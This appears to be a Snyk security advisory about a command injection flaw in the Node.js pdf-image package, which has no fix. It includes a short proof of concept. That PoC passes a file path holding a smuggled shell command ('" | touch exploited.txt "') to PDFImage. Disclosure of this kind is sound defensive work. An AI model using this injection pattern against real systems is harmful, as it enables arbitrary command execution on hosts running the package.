Command Injection Affecting pdf-image package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-PDFIMAGE-6424686
- published 12 Mar 2024
- disclosed 20 Feb 2024
- credit Miguel Coimbra
How to fix?
There is no fixed version for pdf-image
.
Overview
pdf-image is a library that provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.
Affected versions of this package are vulnerable to Command Injection through the PDFImage
function, due to improper user input validation.
PoC
const pkg = require('pdf-image');
console.log(pkg);
const pdfFilePath = '" | touch exploited.txt "';
const options = {
};
const i = new pkg.PDFImage(pdfFilePath, options);
// This will create a local 'exploited.txt' file.
i.getInfo();
References
CVSS Scores
version 3.1